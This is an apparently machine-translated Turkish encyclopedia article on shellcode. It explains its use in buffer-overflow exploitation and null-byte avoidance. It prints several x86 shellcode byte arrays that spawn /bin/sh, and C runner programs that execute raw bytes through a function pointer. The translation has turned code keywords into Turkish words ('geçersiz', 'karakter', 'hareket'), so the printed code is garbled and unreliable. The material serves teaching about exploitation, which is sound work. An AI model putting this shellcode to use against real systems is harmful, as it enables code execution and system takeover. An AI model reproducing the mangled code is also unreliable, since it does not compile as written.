Kabuk kodu
Kabuk kodu , genellikle derleme dilinde programlanan ve üzerinde bulunduğu makineyi planlanan işlemi yürütmek üzere almak için genellikle bir programın yürütme yığınına (veya yığınına) enjekte edilen opcode'lara (onaltılık değerler kümesi) aktarılan bir dizi komuttur. .
Terim
Kabuk kodu terimi , genel amaçlarından türetilmiştir, bu, bir kabuk elde etmek için kullanılan bir istismarın bir kısmıydı , şu anda kullanıldıkları en yaygın amaç budur.
Pascal kabuk kodu örneği
Bir kabuk kodunu yürütmek için genellikle Pascal dili gibi daha yüksek seviyeli bir dil kullanılır . Derleme kodumuzdan elde edilen işlem kodları , bayt türünde bir dizide listelenir ve çağrılacak bir prototipe yüklenir.
Bir kabuk kodu örneği aşağıdaki gibidir:
Prototip Çalıştırma 'Değişkenler. Var ShellCode[]: OpCode için Byte ' Byte dizisi.. Var Prototype:Exec ' ShellCode'u çalıştıracak Prototip. ShellCode'u başlatın/yükleyin. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] 'Prototip kodunu çalıştırılacak şekilde ayarladık. Prototip@ = KabukKodu[0]@ ' ShellCode'u çalıştırıyoruz. Prototip
Görüldüğü gibi opcode'lar byte'a çevrilen (0 ile 255 arasındaki tamsayı değerleri) ve işletim sisteminin yürüttüğü derleme kodu olarak anladığı onaltılık değerlerdir.
C kabuk kodu örneği
Aşağıdaki örnek, C dilinde yazılmış bir program dizisinde bulunan bir kabuk kodunu göstermektedir:
karakter kabuk kodu[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* hareket $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
Bu yüzden, bir kabuk kodunun onaltılık gösterimle yazılmış makine kodu olduğuna sahibiz . Daha sonra aşağıdaki örnek kabuk kodunda olduğu gibi C ile yazılmış programlarda kullanılırlar:
// kabuk kodu.c
// gcc shellcode.c -o shellcode ile derle
geçersiz ana()
{
((geçersiz(*)(geçersiz))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Veya bu diğer:
char kabuk kodu[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
intmain()
{
geçersiz (*fp)();
fp = (geçersiz*) &kabukkodu;
fp();
}
Bilgi
Kabuk kodları, genellikle küçük bir alan olan yığına enjekte edilebilmesi için kısa olmalıdır.
Kabuk kodları, arabellek taşmaları adı verilen koddaki belirli güvenlik açıklarından yararlanarak kodu yürütmek için kullanılır . Temel olarak kabuk kodu, virüslü bilgisayarda bir komut yorumlayıcısının çalıştırılmasına izin verecek şekilde programlanmıştır.
Bir kabuk kodunun derlenmesinde, kabuk kodunun yürütülmesini durduracaklarından, ondan çıkarılması gereken boş baytların üretilmesi yaygındır. Bunu yapmak için programcı, NULL bayt oluşturan talimatları XOR işlemi yapmayan veya gerçekleştirmeyen diğerleriyle değiştirmek, daha küçük kayıtlara (AH, AL gibi) geçmek ve böylece kabuk kodunun gerçekten enjekte edilebilir olmasına izin vermek gibi çeşitli teknikler kullanır. .
Ayrıca
- Bilgisayar güvenliği .
- bilgisayar güvensizliği
- Tampon taşması .
- Yığın Taşması .
- HoF .
- İstismar et .
- hata .
- Tampon taşması .